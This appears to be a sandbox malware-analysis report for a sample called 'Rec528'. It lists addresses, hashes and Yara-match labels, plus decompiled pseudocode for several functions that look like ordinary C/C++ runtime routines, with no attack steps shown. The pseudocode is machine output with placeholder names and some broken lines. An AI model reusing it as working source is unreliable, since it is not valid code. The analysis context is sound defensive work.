0x10007f4e
0x10007f4f
0x10007f50
0x10007f55
0x10007f48
0x10008136
0x10008137
0x10008139
0x10008140
0x00000000
0x00000000
0x00000000
0x10007e8b
0x10007e5e
0x10007e60
0x10007e61
0x10007e63
0x10007e63
0x00000000
0x00000000
0x00000000
0x00000000
0x10007dbc
0x10007dbc
0x10007dc2
0x10007dc5
0x10007dc8
0x10007dcb
0x10007dce
0x10007dd1
0x10007dd4
0x10007dd4
0x00000000
0x10007d85
0x10007d53
0x10007d53
0x10007d56
0x10007de3
0x10007de4
0x10007de9
0x00000000
0x10007de9
0x10007c8a
0x10007c8a
0x10007c8d
0x10007c95
0x10007c98
0x10007c9f
0x10007ca1
0x10007ca3
0x10007cbe
0x10007cbf
0x10007cc0
0x10007cc1
0x10007cc6
0x10007cc9
0x10007ccc
0x10007ca5
0x10007ca5
0x10007ca8
0x10007ca9
0x10007caa
0x10007cab
0x10007cac
0x10007cb1
0x10007cb3
0x10007cb6
0x10007cb6
0x10007cce
0x10007cd0
0x00000000
0x00000000
0x10007cd9
0x10007cdc
0x10007cdf
0x10007ce1
0x10007ce3
0x00000000
0x10007ce5
0x10007ce5
0x10007ce8
0x00000000
0x10007ce8
0x00000000
0x10007ce3
0x10007d5e
0x10007dea
0x10007ded
0x10007df1
0x10007dfa
0x10007dfd
0x10007e01
0x10007e01
0x10007e03
0x10007e06
0x10007e08
0x10007e0a
0x10007e0c
0x10007e11
0x10007e12
0x10007e16
0x10007e16
0x10007e1a
0x10007e1d
0x10007e1d
0x10007e21
0x00000000
0x10007e28
0x10007c5a
0x10007c5a
0x10007c61
0x10007c62
0x10007c64
0x10007e29
0x10007e2d
0x10007e2d
0x00000000

APIs

_free.LIBCMT ref: 10007DE4

Strings

*?, xrefs: 10007C8D

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 5cf7f851aaec087829ec43eeaab6f60b67ed4c75ee81a41c35adb74eb9a8a420
Instruction ID: 6030054bbf8e3b8e584a94badc09da72dadf6250b8f4ad042cf585a859addb16
Opcode Fuzzy Hash: 5cf7f851aaec087829ec43eeaab6f60b67ed4c75ee81a41c35adb74eb9a8a420
Instruction Fuzzy Hash: 4E616075D0021A9FEB15CFA8C8819EDFBF5FF48390B25816AE808E7305D735AE418B90

Uniqueness

Uniqueness Score: -1.00%

Function 00404280 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00404280(void* __ebx, intOrPtr* __ecx, char _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				char _v28;
				char _v44;
				signed int _v64;
				char _v92;
				char _v100;
				intOrPtr _v116;
				void* __edi;
				void* __ebp;
				signed int _t40;
				intOrPtr* _t43;
				intOrPtr _t45;
				intOrPtr _t50;
				signed int _t56;
				intOrPtr _t69;
				intOrPtr* _t72;
				intOrPtr _t78;
				signed char _t80;
				intOrPtr* _t82;
				intOrPtr _t85;
				void* _t86;
				char* _t88;
				intOrPtr _t90;
				intOrPtr* _t92;
				intOrPtr* _t95;
				intOrPtr _t97;
				void* _t100;
				void* _t102;
				void* _t103;

				_push(0xffffffff);
				_push(0x42c3dd);
				_push( *[fs:0x0]);
				_t103 = _t102 - 0x1c;
				_t40 =  *0x43d054; // 0x298e9dc2
				_push(_t40 ^ _t99);
				 *[fs:0x0] =  &_v16;
				_t95 = __ecx;
				_v20 = __ecx;
				_t43 = _a8;
				_t84 = _a4;
				_t72 = _a4;
				_v20 = __ecx;
				_v44 = 0;
				_t90 =  *_t43;
				_t7 = _t43 + 4; // 0x24448d00
				_t69 =  *_t7;
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				_v20 = _t72 + 1;
				do {
					_t45 =  *_t72;
					_t72 = _t72 + 1;
				} while (_t45 != 0);
				E004026C0(_t69,  &_v44, _t84, _t72 - _v20);
				_push(_t69);
				_push(_t90);
				_v8 = 0;
				E00403B40(_t69, __ecx, _t84, _t90,  &_v44);
				_t85 = _v24;
				if(_t85 < 0x10) {
					L6:
					 *_t95 = 0x439d14;
					 *[fs:0x0] = _v16;
					return _t95;
				} else {
					_t78 = _v44;
					_t86 = _t85 + 1;
					_t50 = _t78;
					if(_t86 < 0x1000) {
						L5:
						_push(_t86);
						E0040ED7F(_t78);
						goto L6;
					} else {
						_t78 =  *((intOrPtr*)(_t78 - 4));
						_t86 = _t86 + 0x23;
						if(_t50 - _t78 + 0xfffffffc > 0x1f) {
							E004134A7(_t69, _t86, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_t100 = _t103;
							_t56 = _v64 & 0x00000017;
							 *(_t78 + 0xc) = _t56;
							_t80 =  *(_t78 + 0x10) & _t56;
							__eflags = _t80;
							if(_t80 == 0) {
								return _t56;
							} else {
								__eflags = _a4;
								if(_a4 != 0) {
									E004103CB(0, 0);
								}
								__eflags = _t80 & 0x00000004;
								if((_t80 & 0x00000004) == 0) {
									__eflags = _t80 & 0x00000002;
									_t88 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
								} else {
									_t88 = "ios_base::badbit set";
								}
								_push(E00403B30( &_v100));
								_t82 =  &_v92;
								E00404280(_t69, _t82, _t88);
								E004103CB( &_v100, 0x43c040);
								asm("int3");
								_push(_t100);
								_push(_t95);
								_t97 = _v116;
								asm("xorps xmm0, xmm0");
								_push(_t90);
								_t92 = _t82;
								 *_t92 = 0x42e2d4;
								asm("movq [eax], xmm0");
								_t34 = _t97 + 4; // 0x4
								E0040FEF1(_t34, _t92 + 4);
								 *_t92 = 0x439c9c;
								 *((intOrPtr*)(_t92 + 0xc)) =  *((intOrPtr*)(_t97 + 0xc));
								 *((intOrPtr*)(_t92 + 0x10)) =  *((intOrPtr*)(_t97 + 0x10));
								 *_t92 = 0x439d14;
								return _t92;
							}
						} else {
							goto L5;
						}
					}
				}
			}

0x00404283
0x00404285
0x00404290
0x00404291
0x00404297
0x0040429e
0x004042a2
0x004042a8
0x004042aa
0x004042ad
0x004042b0
0x004042b3
0x004042b5
0x004042b8
0x004042bf
0x004042c1
0x004042c1
0x004042c7
0x004042ce
0x004042d5
0x004042d9
0x004042e0
0x004042e0
0x004042e2
0x004042e3
0x004042ef
0x004042f4
0x004042f5
0x004042f9
0x00404303
0x00404308
0x0040430e
0x00404338
0x00404338
0x00404343
0x00404351
0x00404310
0x00404310
0x00404313
0x00404314
0x0040431c
0x0040432e
0x0040432e
0x00404330
0x00000000
0x0040431e
0x0040431e
0x00404321
0x0040432c
0x00404354
0x00404359
0x0040435a
0x0040435b
0x0040435c
0x0040435d
0x0040435e
0x0040435f
0x00404361
0x0040436c
0x0040436f
0x00404375
0x00404375
0x00404377
0x00404384
0x00404379
0x00404379
0x0040437d
0x0040438b
0x0040438b
0x00404390
0x00404393
0x0040439c
0x004043a9
0x00404395
0x00404395
0x00404395
0x004043b5
0x004043b7
0x004043bb
0x004043ca
0x004043cf
0x004043d0
0x004043d3
0x004043d4
0x004043d7
0x004043da
0x004043db
0x004043e1
0x004043e7
0x004043eb
0x004043ef
0x004043f4
0x00404403
0x00404408
0x0040440b
0x00404414
0x00404414
0x00000000
0x00000000
0x00000000
0x0040432c
0x0040431c

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004043EF

Part of subcall function 004103CB: RaiseException.KERNEL32(E06D7363,?,00000003,?,?,?,0040DFB5,?,0043B72C,?), ref: 0041042B

Strings

`=@, xrefs: 00404338, 0040440B
`=@, xrefs: 004043F4
ios_base::badbit set, xrefs: 00404395

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: `=@$`=@$ios_base::badbit set
API String ID: 3109751735-2632860996
Opcode ID: 7822fc5aab85087ebeee28f7d0f364b89187b18a305f8251706e3995b777d4ce
Instruction ID: 6dd13d2665102ae89cf96e71732bc0c741d845f7784690c46fe42d92c4b9a4e0
Opcode Fuzzy Hash: 7822fc5aab85087ebeee28f7d0f364b89187b18a305f8251706e3995b777d4ce
Instruction Fuzzy Hash: 2B41C4B16002089BC714DF59D841B9EFBF8EF49314F14852FF915A7681D778A944CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044224E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004422C6

Strings

&D, xrefs: 004422A5
&D, xrefs: 0044227E

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID: &D$&D
API String ID: 269201875-2592082244
Opcode ID: 60f1fd40a803f3d3a22cc48b7bffbfa3b0681c551b6ad4760c9688dfd2d8259c
Instruction ID: 5fcc14ea718add966b4376e3b2dea8e8802bdcb913fecaa543de9abcf6840687
Opcode Fuzzy Hash: 60f1fd40a803f3d3a22cc48b7bffbfa3b0681c551b6ad4760c9688dfd2d8259c
Instruction Fuzzy Hash: 1F319071900209AFEB00DFA9C940A9B77B4FF44314F50406AF914A72A1EBB99D51CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0041F0B9 Relevance: 6.3, APIs: 4, Instructions: 320
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041F0B9(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				unsigned int _v24;
				signed int _v32;
				signed int _v40;
				char _v48;
				intOrPtr _v56;
				char _v60;
				void* __ebx;
				void* __edi;
				signed char _t85;
				void* _t91;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int _t104;
				signed int _t105;
				void* _t106;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t113;
				void* _t115;
				signed int _t117;
				signed int* _t118;
				void* _t121;
				signed int _t123;
				signed int _t129;
				signed int* _t130;
				signed int* _t133;
				signed int _t134;
				signed int _t137;
				signed int _t139;
				signed int _t141;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t150;
				void* _t154;
				unsigned int _t155;
				signed int _t162;
				void* _t163;
				signed int _t164;
				signed int* _t165;
				signed int _t168;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				void* _t181;

				_t163 = __edx;
				_t173 = _a24;
				if(_t173 < 0) {
					_t173 = 0;
				}
				_t177 = _a8;
				 *_t177 = 0;
				E004135A1( &_v60, _t163, _a36);
				_t5 = _t173 + 0xb; // 0xb
				_t185 = _a12 - _t5;
				if(_a12 > _t5) {
					_t133 = _a4;
					_t139 = _t133[1];
					_t164 =  *_t133;
					__eflags = (_t139 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t139 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						__eflags = _t139;
						if(__eflags > 0) {
							L14:
							_t165 = _t177 + 1;
							_t85 = _a28 ^ 0x00000001;
							_v16 = 0x3ff;
							_v5 = _t85;
							_v40 = _t165;
							_v32 = ((_t85 & 0x000000ff) << 5) + 7;
							__eflags = _t139 & 0x7ff00000;
							_t91 = 0x30;
							if((_t139 & 0x7ff00000) != 0) {
								 *_t177 = 0x31;
								L19:
								_t141 = 0;
								__eflags = 0;
								L20:
								_t26 =  &(_t165[0]); // 0x2
								_t178 = _t26;
								_v12 = _t178;
								__eflags = _t173;
								if(_t173 != 0) {
									_t95 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v56 + 0x88))))));
								} else {
									_t95 = _t141;
								}
								 *_t165 = _t95;
								_t97 = _t133[1] & 0x000fffff;
								__eflags = _t97;
								_v24 = _t97;
								if(_t97 > 0) {
									L25:
									_t166 = _t141;
									_t142 = 0xf0000;
									_t98 = 0x30;
									_v12 = _t98;
									_v20 = _t141;
									_v24 = 0xf0000;
									do {
										__eflags = _t173;
										if(_t173 <= 0) {
											break;
										}
										_t121 = E0042BEC0( *_t133 & _t166, _v12, _t133[1] & _t142 & 0x000fffff);
										_t154 = 0x30;
										_t123 = _t121 + _t154 & 0x0000ffff;
										__eflags = _t123 - 0x39;
										if(_t123 > 0x39) {
											_t123 = _t123 + _v32;
											__eflags = _t123;
										}
										_t155 = _v24;
										_t166 = (_t155 << 0x00000020 | _v20) >> 4;
										 *_t178 = _t123;
										_t178 = _t178 + 1;
										_t142 = _t155 >> 4;
										_t98 = _v12 - 4;
										_t173 = _t173 - 1;
										_v20 = (_t155 << 0x00000020 | _v20) >> 4;
										_v24 = _t155 >> 4;
										_v12 = _t98;
										__eflags = _t98;
									} while (_t98 >= 0);
									_v12 = _t178;
									__eflags = _t98;
									if(__eflags < 0) {
										goto L42;
									}
									_t117 = E0041F8D4(__eflags, _t133, _t166, _t142, _t98, _a40);
									_t181 = _t181 + 0x14;
									__eflags = _t117;
									if(_t117 == 0) {
										goto L42;
									}
									_t118 = _t178 - 1;
									_t137 = 0x30;
									while(1) {
										_t149 =  *_t118;
										__eflags = _t149 - 0x66;
										if(_t149 == 0x66) {
											goto L35;
										}
										__eflags = _t149 - 0x46;
										if(_t149 != 0x46) {
											_t133 = _a4;
											__eflags = _t118 - _v40;
											if(_t118 == _v40) {
												_t54 = _t118 - 1;
												 *_t54 =  *(_t118 - 1) + 1;
												__eflags =  *_t54;
											} else {
												__eflags = _t149 - 0x39;
												if(_t149 != 0x39) {
													_t150 = _t149 + 1;
													__eflags = _t150;
												} else {
													_t150 = _v32 + 0x3a;
												}
												 *_t118 = _t150;
											}
											goto L42;
										}
										L35:
										 *_t118 = _t137;
										_t118 = _t118 - 1;
									}
								} else {
									__eflags =  *_t133 - _t141;
									if( *_t133 <= _t141) {
										L42:
										__eflags = _t173;
										if(_t173 > 0) {
											_push(_t173);
											_t115 = 0x30;
											_push(_t115);
											_push(_t178);
											E00410A80(_t173);
											_t178 = _t178 + _t173;
											__eflags = _t178;
											_v12 = _t178;
										}
										_t99 = _v40;
										__eflags =  *_t99;
										if( *_t99 == 0) {
											_t178 = _t99;
											_v12 = _t178;
										}
										 *_t178 = (_v5 << 5) + 0x50;
										_t104 = E0042BEC0( *_t133, 0x34, _t133[1]);
										_t179 = 0;
										_t105 = _v12;
										_t146 = (_t104 & 0x000007ff) - _v16;
										__eflags = _t146;
										asm("sbb esi, esi");
										_t168 = _t105 + 2;
										_v40 = _t168;
										if(__eflags < 0) {
											L50:
											_t146 =  ~_t146;
											asm("adc esi, 0x0");
											_t179 =  ~_t179;
											_t134 = 0x2d;
											goto L51;
										} else {
											if(__eflags > 0) {
												L49:
												_t134 = 0x2b;
												L51:
												 *(_t105 + 1) = _t134;
												_t174 = _t168;
												_t106 = 0x30;
												 *_t168 = _t106;
												_t107 = 0;
												__eflags = _t179;
												if(__eflags < 0) {
													L55:
													__eflags = _t174 - _t168;
													if(_t174 != _t168) {
														L59:
														_push(_t134);
														_push(_t107);
														_push(0x64);
														_push(_t179);
														_t108 = E0042BDC0();
														_t179 = _t134;
														_t134 = _t146;
														_v32 = _t168;
														_t168 = _v40;
														 *_t174 = _t108 + 0x30;
														_t174 = _t174 + 1;
														_t107 = 0;
														__eflags = 0;
														L60:
														__eflags = _t174 - _t168;
														if(_t174 != _t168) {
															L64:
															_push(_t134);
															_push(_t107);
															_push(0xa);
															_push(_t179);
															_push(_t146);
															_t110 = E0042BDC0();
															_v40 = _t168;
															 *_t174 = _t110 + 0x30;
															_t174 = _t174 + 1;
															_t107 = 0;
															__eflags = 0;
															L65:
															_t147 = _t146 + 0x30;
															__eflags = _t147;
															 *_t174 = _t147;
															 *(_t174 + 1) = _t107;
															_t175 = _t107;
															L66:
															if(_v48 != 0) {
																 *(_v60 + 0x350) =  *(_v60 + 0x350) & 0xfffffffd;
															}
															return _t175;
														}
														__eflags = _t179 - _t107;
														if(__eflags < 0) {
															goto L65;
														}
														if(__eflags > 0) {
															goto L64;
														}
														__eflags = _t146 - 0xa;
														if(_t146 < 0xa) {
															goto L65;
														}
														goto L64;
													}
													__eflags = _t179 - _t107;
													if(__eflags < 0) {
														goto L60;
													}
													if(__eflags > 0) {
														goto L59;
													}
													__eflags = _t146 - 0x64;
													if(_t146 < 0x64) {
														goto L60;
													}
													goto L59;
												}
												_t134 = 0x3e8;
												if(__eflags > 0) {
													L54:
													_push(_t134);
													_push(_t107);
													_push(_t134);
													_push(_t179);
													_t113 = E0042BDC0();
													_t179 = _t134;
													_t134 = _t146;
													_v32 = _t168;
													_t168 = _v40;
													 *_t168 = _t113 + 0x30;
													_t174 = _t168 + 1;
													_t107 = 0;
													__eflags = 0;
													goto L55;
												}
												__eflags = _t146 - 0x3e8;
												if(_t146 < 0x3e8) {
													goto L55;
												}
												goto L54;
											}
											__eflags = _t146;
											if(_t146 < 0) {
												goto L50;
											}
											goto L49;
										}
									}
									goto L25;
								}
							}
							 *_t177 = _t91;
							_t141 =  *_t133 | _t133[1] & 0x000fffff;
							__eflags = _t141;
							if(_t141 != 0) {
								_v16 = 0x3fe;
								goto L19;
							}
							_v16 = _t141;
							goto L20;
						}
						if(__eflags < 0) {
							L13:
							 *_t177 = 0x2d;
							_t177 = _t177 + 1;
							__eflags = _t177;
							_t139 = _t133[1];
							goto L14;
						}
						__eflags = _t164;
						if(_t164 >= 0) {
							goto L14;
						}
						goto L13;
					}
					_t175 = E0041F3C8(_t133, _t139, _t164, _t133, _t177, _a12, _a16, _a20, _t173, 0, _a32, 0, _a40);
					__eflags = _t175;
					if(_t175 == 0) {
						_t129 = E0042BF70(_t177, 0x65);
						__eflags = _t129;
						if(_t129 != 0) {
							_t162 = ((_a28 ^ 0x00000001) << 5) + 0x50;
							__eflags = _t162;
							 *_t129 = _t162;
							 *((char*)(_t129 + 3)) = 0;
						}
						_t175 = 0;
					} else {
						 *_t177 = 0;
					}
					goto L66;
				}
				_t130 = E00413571(_t185);
				_t175 = 0x22;
				 *_t130 = _t175;
				E00413497();
				goto L66;
			}

0x0041f0b9
0x0041f0c4
0x0041f0c9
0x0041f0cb
0x0041f0cb
0x0041f0cf
0x0041f0d8
0x0041f0da
0x0041f0df
0x0041f0e2
0x0041f0e5
0x0041f0fb
0x0041f0fe
0x0041f103
0x0041f10d
0x0041f112
0x0041f169
0x0041f16b
0x0041f17a
0x0041f17d
0x0041f180
0x0041f182
0x0041f189
0x0041f19b
0x0041f19e
0x0041f1a3
0x0041f1a7
0x0041f1a8
0x0041f1c8
0x0041f1cb
0x0041f1cb
0x0041f1cb
0x0041f1cd
0x0041f1cd
0x0041f1cd
0x0041f1d0
0x0041f1d3
0x0041f1d5
0x0041f1e6
0x0041f1d7
0x0041f1d7
0x0041f1d7
0x0041f1e8
0x0041f1ed
0x0041f1ed
0x0041f1f2
0x0041f1f5
0x0041f1ff
0x0041f201
0x0041f203
0x0041f208
0x0041f209
0x0041f20c
0x0041f20f
0x0041f212
0x0041f212
0x0041f214
0x00000000
0x00000000
0x0041f22b
0x0041f232
0x0041f236
0x0041f239
0x0041f23c
0x0041f23e
0x0041f23e
0x0041f23e
0x0041f244
0x0041f247
0x0041f24b
0x0041f24d
0x0041f251
0x0041f254
0x0041f257
0x0041f258
0x0041f25b
0x0041f25e
0x0041f261
0x0041f261
0x0041f266
0x0041f269
0x0041f26c
0x00000000
0x00000000
0x0041f275
0x0041f27a
0x0041f27d
0x0041f27f
0x00000000
0x00000000
0x0041f283
0x0041f286
0x0041f287
0x0041f287
0x0041f289
0x0041f28c
0x00000000
0x00000000
0x0041f28e
0x0041f291
0x0041f298
0x0041f29b
0x0041f29e
0x0041f2b3
0x0041f2b3
0x0041f2b3
0x0041f2a0
0x0041f2a0
0x0041f2a3
0x0041f2ad
0x0041f2ad
0x0041f2a5
0x0041f2a8
0x0041f2a8
0x0041f2af
0x0041f2af
0x00000000
0x0041f29e
0x0041f293
0x0041f293
0x0041f295
0x0041f295
0x0041f1f7
0x0041f1f7
0x0041f1f9
0x0041f2b6
0x0041f2b6
0x0041f2b8
0x0041f2ba
0x0041f2bd
0x0041f2be
0x0041f2bf
0x0041f2c0
0x0041f2c8
0x0041f2c8
0x0041f2ca
0x0041f2ca
0x0041f2cd
0x0041f2d0
0x0041f2d3
0x0041f2d5
0x0041f2d7
0x0041f2d7
0x0041f2e4
0x0041f2eb
0x0041f2f2
0x0041f2f4
0x0041f2fd
0x0041f2fd
0x0041f300
0x0041f302
0x0041f305
0x0041f308
0x0041f314
0x0041f314
0x0041f318
0x0041f31b
0x0041f31d
0x00000000
0x0041f30a
0x0041f30a
0x0041f310
0x0041f310
0x0041f31e
0x0041f31e
0x0041f321
0x0041f325
0x0041f326
0x0041f328
0x0041f32a
0x0041f32c
0x0041f356
0x0041f356
0x0041f358
0x0041f365
0x0041f365
0x0041f366
0x0041f367
0x0041f369
0x0041f36b
0x0041f370
0x0041f372
0x0041f376
0x0041f379
0x0041f37c
0x0041f37e
0x0041f37f
0x0041f37f
0x0041f381
0x0041f381
0x0041f383
0x0041f390
0x0041f390
0x0041f391
0x0041f392
0x0041f394
0x0041f395
0x0041f396
0x0041f39f
0x0041f3a2
0x0041f3a4
0x0041f3a5
0x0041f3a5
0x0041f3a7
0x0041f3a7
0x0041f3a7
0x0041f3aa
0x0041f3ac
0x0041f3af
0x0041f3b1
0x0041f3b7
0x0041f3bc
0x0041f3bc
0x0041f3c7
0x0041f3c7
0x0041f385
0x0041f387
0x00000000
0x00000000
0x0041f389
0x00000000
0x00000000
0x0041f38b
0x0041f38e
0x00000000
0x00000000
0x00000000
0x0041f38e
0x0041f35a
0x0041f35c
0x00000000
0x00000000
0x0041f35e
0x00000000
0x00000000
0x0041f360
0x0041f363
0x00000000
0x00000000
0x00000000
0x0041f363
0x0041f32e
0x0041f333
0x0041f339
0x0041f339
0x0041f33a
0x0041f33b
0x0041f33c
0x0041f33e
0x0041f343
0x0041f345
0x0041f347
0x0041f34c
0x0041f34f
0x0041f351
0x0041f354
0x0041f354
0x00000000
0x0041f354
0x0041f335
0x0041f337
0x00000000
0x00000000
0x00000000
0x0041f337
0x0041f30c
0x0041f30e
0x00000000
0x00000000
0x00000000
0x0041f30e
0x0041f308
0x00000000
0x0041f1f9
0x0041f1f5
0x0041f1aa
0x0041f1b6
0x0041f1b6
0x0041f1b8
0x0041f1bf
0x00000000
0x0041f1bf
0x0041f1ba
0x00000000
0x0041f1ba
0x0041f16d
0x0041f173
0x0041f173
0x0041f176
0x0041f176
0x0041f177
0x00000000
0x0041f177
0x0041f16f
0x0041f171
0x00000000
0x00000000
0x00000000
0x0041f171
0x0041f12f
0x0041f134
0x0041f136
0x0041f143
0x0041f14a
0x0041f14c
0x0041f157
0x0041f157
0x0041f15a
0x0041f15c
0x0041f15c
0x0041f160
0x0041f138
0x0041f138
0x0041f138
0x00000000
0x0041f136
0x0041f0e7
0x0041f0ee
0x0041f0ef
0x0041f0f1
0x00000000

APIs

_strrchr.LIBCMT ref: 0041F143

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ea010ae931ad1b145e5fd3dfd9d8e6290a85c3b5d9bd79e2341eb9072933dd63
Instruction ID: 3f0e62c73651a2c9c53a00de66904055b7a86afd20e6f85283592e7e52a0447b
Opcode Fuzzy Hash: ea010ae931ad1b145e5fd3dfd9d8e6290a85c3b5d9bd79e2341eb9072933dd63
Instruction Fuzzy Hash: DAB136729002499FDB11CF28C8817EFBBA5EF45350F2441BBE8559B342D2399D87CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00411E3B Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 67%

			E00411E3B(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x43b8f8);
				E0040F960(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E00410440(_t107, E004100A1(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E00410440(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x450568; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x42e234();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E00419BC9(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x43b918);
									E0040F960(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E00411E3B(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00412B3B(_t103, _t108[0x18], E004100A1( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E00412B4B(_t103, _t108[0x18], E004100A1( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), "true");
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E004100A1();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x00411e3b
0x00411e3d
0x00411e42
0x00411e47
